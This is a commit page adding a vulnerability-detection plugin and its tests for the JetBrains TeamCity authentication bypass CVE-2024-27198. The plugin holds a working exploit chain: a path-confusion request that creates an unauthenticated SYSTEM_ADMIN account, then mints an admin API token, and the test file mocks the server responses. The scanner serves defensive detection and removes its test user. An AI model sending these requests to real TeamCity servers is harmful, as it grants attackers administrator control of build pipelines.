Skip to content

Commit ae87545

Browse files
Merge pull request #744 from frkngksl:teamcityRCE
PiperOrigin-RevId: 871891127 Change-Id: I540cffbc2bbd771141b73ee87211e45a2dbb3b8f
2 parents 9f9685c + e0cb905 commit ae87545

File tree

2 files changed

+223
-0
lines changed

2 files changed

+223
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "JetBrainsTeamCity_CVE_2024_27198"
11+
author: "frkngksl"
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "CVE-2024-27198"
19+
}
20+
severity: CRITICAL
21+
title: "JetBrains TeamCity Authentication Bypass Vulnerability (CVE-2024-27198)"
22+
description: "JetBrains TeamCity is a continuous integration and continuous deployment (CI/CD) server used by developers to automate building, testing, and releasing software. This vulnerability is a critical authentication-bypass vulnerability in JetBrains TeamCity that allows a remote, unauthenticated attacker to access endpoints meant to be protected and perform high-privilege actions."
23+
recommendation: "Update the version to 2023.11.4 or later."
24+
related_id: {
25+
publisher: "CVE"
26+
value: "CVE-2024-27198"
27+
}
28+
}
29+
30+
config: {}
31+
32+
###########
33+
# ACTIONS #
34+
###########
35+
36+
actions: {
37+
name: "fingerprint_teamcity"
38+
http_request: {
39+
method: GET
40+
uri: "/login.html"
41+
response: {
42+
http_status: 200
43+
expect_all: {
44+
conditions: [
45+
{ body: {} contains: "<title>Log in to TeamCity" }
46+
]
47+
}
48+
}
49+
}
50+
}
51+
52+
actions: {
53+
name: "create_admin_user"
54+
http_request: {
55+
method: POST
56+
uri: "/hax?jsp=/app/rest/users;.jsp"
57+
headers: [
58+
{ name: "Accept" value: "*/*" },
59+
{ name: "Content-Type" value: "application/json" }
60+
]
61+
data: "{\"username\": \"tsunamitest\", \"password\": \"tsunamitest\", \"email\": \"tsunami@tsunami.com\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
62+
response: {
63+
http_status: 200
64+
extract_all: {
65+
patterns: [
66+
{
67+
from_body: {}
68+
regexp: "<user username=\"tsunamitest\" id=\"([^\"]+)\""
69+
variable_name: "userid"
70+
}
71+
]
72+
}
73+
}
74+
}
75+
cleanup_actions: "delete_added_user"
76+
}
77+
78+
actions: {
79+
name: "create_admin_token"
80+
http_request: {
81+
method: POST
82+
uri: "/hax?jsp=/app/rest/users/id:{{ userid }}/tokens/testtoken;.jsp"
83+
headers: [
84+
{ name: "Accept" value: "*/*" },
85+
{ name: "Content-Type" value: "application/json" }
86+
]
87+
response: {
88+
http_status: 200
89+
extract_all: {
90+
patterns: [
91+
{
92+
from_body: {}
93+
regexp: "value=\"([^\"]+)\""
94+
variable_name: "usertoken"
95+
}
96+
]
97+
}
98+
}
99+
}
100+
}
101+
102+
actions: {
103+
name: "get_user_list"
104+
http_request: {
105+
method: GET
106+
uri: "/app/rest/users"
107+
headers: [
108+
{ name: "Accept" value: "*/*" },
109+
{ name: "Authorization" value: "Bearer {{ usertoken }}" }
110+
]
111+
response: {
112+
http_status: 200
113+
expect_all: {
114+
conditions: [
115+
{ body: {} contains: 'username="tsunamitest"' }
116+
]
117+
}
118+
}
119+
}
120+
}
121+
122+
actions: {
123+
name: "delete_added_user"
124+
http_request: {
125+
method: DELETE
126+
uri: "/app/rest/users/id:{{ userid }}"
127+
headers: [
128+
{ name: "Accept" value: "*/*" },
129+
{ name: "Authorization" value: "Bearer {{ usertoken }}" }
130+
]
131+
response: {
132+
http_status: 204
133+
}
134+
}
135+
}
136+
137+
#############
138+
# WORKFLOWS #
139+
#############
140+
141+
workflows: {
142+
actions: [
143+
"fingerprint_teamcity",
144+
"create_admin_user",
145+
"create_admin_token",
146+
"get_user_list"
147+
]
148+
}
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "JetBrainsTeamCity_CVE_2024_27198"
6+
}
7+
8+
tests: {
9+
name: "whenVulnerable_returnsTrue"
10+
expect_vulnerability: true
11+
mock_http_server: {
12+
mock_responses: [
13+
{
14+
uri: "/login.html"
15+
status: 200
16+
body_content: '<title>Log in to TeamCity &mdash; TeamCity</title>'
17+
},
18+
{
19+
uri: "/hax?jsp=/app/rest/users;.jsp"
20+
status: 200
21+
body_content: '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="tsunamitest" id="4" email="tsunami@tsunami.com" href="/app/rest/users/id:4"><properties count="3" href="/app/rest/users/id:4/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="tsunamitest"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:4/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>'
22+
},
23+
{
24+
uri: "/hax?jsp=/app/rest/users/id:4/tokens/testtoken;.jsp"
25+
status: 200
26+
body_content: '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="testtoken" creationTime="2025-10-09T22:23:56.609Z" value="eyJ0eXAiOiAiVENWMiJ9.LVQ4eGpuS3RuZzdJVHNnV181eDk0cEpKYzlJ.OGQ1NGI4OGMtOGMwNS00MWM4LWFiMzQtNmFlYmMwMDk3NWEz"/>'
27+
},
28+
{
29+
uri: "/app/rest/users"
30+
status: 200
31+
body_content: '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><users count="2"><user username="admin" id="1" href="/app/rest/users/id:1"/><user username="tsunamitest" id="4" href="/app/rest/users/id:4"/></users>'
32+
},
33+
{
34+
uri: "/app/rest/users/id:4"
35+
status: 204
36+
body_content : ''
37+
}
38+
]
39+
}
40+
}
41+
42+
tests: {
43+
name: "whenNotVulnerable_returnsFalse"
44+
expect_vulnerability: false
45+
46+
mock_http_server: {
47+
mock_responses: [
48+
{
49+
uri: "/login.html"
50+
status: 200
51+
body_content: "<!DOCTYPE html>\r\n <html lang=\"en\">\r\n \r\n <head>\r\n <title>Log in to TeamCity; TeamCity</title>"
52+
},
53+
{
54+
uri: "/hax?jsp=/app/rest/users;.jsp"
55+
status: 403
56+
body_content: "Access denied"
57+
}
58+
]
59+
}
60+
}
61+
62+
tests: {
63+
name: "whenNotTeamCity_returnsFalse"
64+
expect_vulnerability: false
65+
66+
mock_http_server: {
67+
mock_responses: [
68+
{
69+
uri: "TSUNAMI_MAGIC_ANY_URI"
70+
status: 200
71+
body_content: "Hello world"
72+
}
73+
]
74+
}
75+
}

0 commit comments

Comments
 (0)